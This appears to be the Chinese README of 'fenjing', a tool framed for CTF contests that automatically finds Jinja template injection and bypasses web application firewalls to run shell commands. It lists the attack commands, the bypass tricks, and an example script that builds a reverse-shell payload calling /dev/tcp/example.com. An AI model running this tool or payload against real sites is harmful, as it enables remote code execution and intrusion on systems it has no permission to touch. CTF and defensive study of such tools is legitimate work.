Package: fenjing
Bypass the WAF without knowing WAF焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本，可以自动攻击给定的网站或接口。演示主要特性集成了大部分CTF中的SSTI WAF绕过技巧全自动扫描HTML页面中的form元素并进行攻击使用页面中的词语自动扫描出提交参数并攻击全自动分析网站的WAF并生成相应的payload使用精确模式全面分析网站或使用快速模式减少不必要的网络请求支持攻击对应的HTML表单或HTTP路径使用Shell指令对要发送的payload进行编码支持将payload放进GET参数中提交，有效降低payload长度自动检测双写并绕过方便的网页界面/命令行界面快速上手在以下方法中选择一种使用pip安装运行pipinstallfenjing
python-mfenjingwebui# python -m fenjing scan --url 'http://xxxx:xxx'下载并运行docker镜像dockerpullmarven11/fenjing
dockerrun-p11451:11451-itmarven11/fenjingwebui-h0.0.0.0手动安装gitclonehttps://github.com/Marven11/FenjingcdFenjing
python-mpipinstall-rrequirements.txt
python-mfenjingwebui手动构建Docker镜像dockerbuild-tfenjing.
dockerrun-it-p11451:11451--nethostfenjingwebui-h0.0.0.0然后开始使用：webui你可以直接在webui里指定参数并自动攻击这里攻击的是一个GET参数：name在左边填入并点击开始分析，然后在右边输入命令就行了scan在终端可以用scan功能，猜测某个页面的参数并自动攻击：python -m fenjing scan --url 'http://xxxx:xxx/yyy'crack也可以用crack功能，手动指定参数进行攻击：python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET这里提供了aaa和bbb两个参数进行攻击，并使用--detect-mode fast加速攻击速度crack-request还可以将HTTP请求写进一个文本文件里（比如说req.txt）然后进行攻击文本文件内容如下：GET/?name=PAYLOADHTTP/1.1Host:127.0.0.1:5000Connection:close命令如下：python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000支持的绕过规则关键字符绕过：'和"_[绝大多数敏感关键字任意阿拉伯数字+-*~{{%...自然数绕过：支持绕过0-9的同时绕过加减乘除，支持的方法如下：十六进制a*b+c(39,39,20)|sum(x,x,x)|lengthunicode全角字符上方的规则支持嵌套'%c'绕过:支持绕过引号，g，lipsum和urlencode等下划线绕过：支持(lipsum|escape|batch(22)|list|first|last)等其中的数字22支持上面的数字绕过任意字符串：支持绕过引号，任意字符串拼接符号，下划线和任意关键词支持以下形式'str'"str""\x61\x61\x61"dict(__class__=x)|join其中的下划线支持绕过'%c'*3%(97,97, 97)其中的'%c'也支持上面的'%c'绕过其中的所有数字都支持上面的数字绕过将字符串切分成小段分别生成...属性：['aaa']其中的字符串支持上面的任意字符串绕过.aaa|attr('aaa')其中的字符串也支持上面的任意字符串绕过Item['aaa']其中的字符串支持上面的任意字符串绕过.aaa.__getitem__('aaa')其中的__getitem__支持上面的属性绕过其中的字符串也支持上面的任意字符串绕过其他技术细节脚本会提前生成一些字符串并使用{%set %}设置在前方脚本会在payload的前方设置一些变量提供给payload后部分的表达式。脚本会在全自动的前提下生成较短的表达式。脚本会仔细地检查各个表达式的优先级，尽量避免生成多余的括号。详细使用作为命令行脚本使用各个功能的介绍：webui: 网页UI顾名思义，网页UI默认端口11451scan: 扫描整个网站从网站中根据form元素提取出所有的表单并攻击扫描成功后会提供一个模拟终端或执行给定的命令示例：python -m fenjing scan --url 'http://xxx/'crack: 对某个特定的表单进行攻击需要指定表单的url, action(GET或POST)以及所有字段(比如'name')攻击成功后也会提供一个模拟终端或执行给定的命令示例：python -m fenjing crack --url 'http://xxx/' --method GET --inputs namecrack-path: 对某个特定的路径进行攻击攻击某个路径（如http://xxx.xxx/hello/<payload>）存在的漏洞参数大致上和crack相同，但是只需要提供对应的路径示例：python -m fenjing crack-path --url 'http://xxx/hello/'crack-request: 读取某个请求文件进行攻击读取文件里的请求，将其中的PAYLOAD替换成实际的payload然后提交根据HTTP格式会默认对请求进行urlencode, 可以使用--urlencode-payload 0关闭一些特殊的选项：--eval-args-payload：将payload放在GET参数x中提交--detect-mode：检测模式，可为accurate或fast--environment：指定模板的渲染环境，默认认为模板在flask中的render_template_string中渲染--tamper-cmd：在payload发出前编码例如：--tamper-cmd 'rev'：将payload反转后再发出--tamper-cmd 'base64'：将payload进行base64编码后发出--tamper-cmd 'base64 | rev'：将payload进行base64编码并反转后再发出详细解释见examples.mdUsage: python -m fenjing scan [OPTIONS]

  扫描指定的网站

Options:
  -u, --url TEXT                  需要扫描的URL
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则进入交互模式
  --interval FLOAT                每次请求的间隔
  --detect-mode TEXT              检测模式，可为accurate或fast
  --replaced-keyword-strategy TEXT
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --environment TEXT              模板的执行环境，默认为flask的render_template_string函数
  --user-agent TEXT               请求时使用的User Agent
  --header TEXT                   请求时使用的Headers
  --cookies TEXT                  请求时使用的Cookie
  --extra-params TEXT             请求时的额外GET参数，如a=1&b=2
  --extra-data TEXT               请求时的额外POST参数，如a=1&b=2
  --proxy TEXT                    请求时使用的代理
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --help                          Show this message and exit.

Usage: python -m fenjing crack [OPTIONS]

  攻击指定的表单

Options:
  -u, --url TEXT                  form所在的URL
  -a, --action TEXT               form的action，默认为当前路径
  -m, --method TEXT               form的提交方式，默认为POST
  -i, --inputs TEXT               form的参数，以逗号分隔
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则成功后进入交互模式
  --interval FLOAT                每次请求的间隔
  --detect-mode TEXT              分析模式，可为accurate或fast
  --replaced-keyword-strategy TEXT
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --environment TEXT              模板的执行环境，默认为flask的render_template_string函数
  --eval-args-payload             [试验性]是否在GET参数中传递Eval payload
  --user-agent TEXT               请求时使用的User Agent
  --header TEXT                   请求时使用的Headers
  --cookies TEXT                  请求时使用的Cookie
  --extra-params TEXT             请求时的额外GET参数，如a=1&b=2
  --extra-data TEXT               请求时的额外POST参数，如a=1&b=2
  --proxy TEXT                    请求时使用的代理
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --help                          Show this message and exit.

Usage: python -m fenjing crack-request [OPTIONS]

  从文本文件中读取请求并攻击目标，文本文件中用`PAYLOAD`标记payload插入位置

Options:
  -h, --host TEXT                 目标的host，可为IP或域名
  -p, --port INTEGER              目标的端口
  -f, --request-file TEXT         保存在文本文件中的请求，其中payload处为PAYLOAD
  --toreplace BYTES               请求文件中payload的占位符
  --ssl / --no-ssl                是否使用SSL
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则进入交互模式
  --urlencode-payload BOOLEAN     是否对payload进行urlencode
  --raw                           不检查请求的换行符等
  --detect-mode TEXT              检测模式，可为accurate或fast
  --replaced-keyword-strategy TEXT
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --environment TEXT              模板的执行环境，默认为flask的render_template_string函数
  --retry-times INTEGER           重试次数
  --interval FLOAT                请求间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --help                          Show this message and exit.

Usage: python -m fenjing crack-path [OPTIONS]

  攻击指定的路径

Options:
  -u, --url TEXT                  需要攻击的URL
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则成功后进入交互模式
  --interval FLOAT                每次请求的间隔
  --detect-mode TEXT              分析模式，可为accurate或fast
  --replaced-keyword-strategy TEXT
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --environment TEXT              模板的执行环境，默认为flask的render_template_string函数
  --user-agent TEXT               请求时使用的User Agent
  --header TEXT                   请求时使用的Headers
  --cookies TEXT                  请求时使用的Cookie
  --extra-params TEXT             请求时的额外GET参数，如a=1&b=2
  --extra-data TEXT               请求时的额外POST参数，如a=1&b=2
  --proxy TEXT                    请求时使用的代理
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --help                          Show this message and exit.

Usage: python -m fenjing webui [OPTIONS]

  启动webui

Options:
  -h, --host TEXT     需要监听的host, 默认为127.0.0.1
  -p, --port INTEGER  需要监听的端口, 默认为11451
  --help              Show this message and exit.作为python库使用参考example.pyfromfenjingimportexec_cmd_payload,config_payloadimportlogginglogging.basicConfig(level=logging.INFO)defwaf(s:str):blacklist=["config","self","g","os","class","length","mro","base","lipsum","[",'"',"'","_",".","+","~","{{","0","1","2","3","4","5","6","7","8","9","０","１","２","３","４","５","６","７","８","９"]returnall(wordinsforwordinblacklist)if__name__=="__main__":shell_payload,_=exec_cmd_payload(waf,"bash -c\"bash -i >& /dev/tcp/example.com/3456 0>&1\"")config_payload=config_payload(waf)print(f"{shell_payload=}")print(f"{config_payload=}")其他使用例可以看这里技术细节项目结构如下：payload生成原理见howitworks.mdStars)